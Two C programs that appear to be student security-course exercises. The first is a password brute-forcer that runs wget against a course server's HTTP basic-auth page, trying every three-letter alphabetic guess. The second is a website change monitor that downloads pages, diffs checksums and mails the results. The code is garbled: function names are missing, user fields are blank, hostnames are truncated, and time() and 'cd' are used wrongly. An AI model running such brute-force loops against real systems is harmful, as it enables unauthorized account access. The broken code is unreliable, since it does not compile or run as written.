# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>

int ()
{

		
	char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";		
	char s[100];
	char charcopy[200];
	
	FILE* f;					
		
	int i,j,k;

	int starting,ending;							
	
	int totaltime;
	
	starting=time();								

	for (i=0;i<strlen(check);i++)
	{
		for(j=0;j<strlen(check);j++)						
		{
			for(k=0;k<strlen(check);k++)
			{
				strcpy(charcopy,"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
				
				
				
				
				charcopy[40]=check[i];              			
				charcopy[41]=check[j];					
				charcopy[42]=check[k];
												
				system(charcopy);	
				printf("%c %c %c\n",check[i],check[j],check[k]);
				printf("%s\n",charcopy);
				
				f = fopen("logfile","r");				
				
				if(f != (FILE*) NULL)
				{
					fgets(s,30,f);					
					printf("%s\n",s);
					if(strcmp(s,"Authorization failed.\n")!=0)
					{
						ending=time();	
						totaltime=ending-starting;
						totaltime=totaltime/1000000000;		
						totaltime=totaltime/60;
	
						printf("Total time_var taken  break the Password is %lld minutes\n", totaltime);
						exit(0);
					}
				}
				
				fclose(f);						
			}
		}
	} 
	
	
	return 1;
}

#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>


int ()
{
  FILE *fp ,*fp1;
  char pass[15], *getWord;
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir previous");
  system("mv www.cs.rmit.edu./images/*.*   previous/");
  system("mv www.cs.rmit.edu./students/*.* previous/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum1.txt");
  sleep(10000);
  system("cd .. ");
  system("cd .. ");
  system("wget -p --convert-links http://www.cs.rmit.edu./students/");
  system("mkdir current");
  system("mv www.cs.rmit.edu./images/*.*  current/");
  system("mv www.cs.rmit.edu./students/*.* current/");
  system("cd www.cs.rmit.edu./images");
  system("cksum *.* > ../../cksum2.txt");
  system("diff cksum1.txt cksum2.txt> checksumdifference.txt");
  system("diff previous current > difference.txt");
  fp1 =fopen("difference.txt","r");
  getWord = fgets(pass, 15, fp1);
  if(strlen(getWord)!= 0)
  system("mailx -s   \"Difference in  \"    < difference.txt ");
  fp =fopen("checksumdifference.txt","r");
  getWord = fgets(pass, 15, fp);
  if(strlen(getWord)!= 0)
    system("mailx -s  \"Difference in \"   < checksumdifference.txt");

  return 0;
}
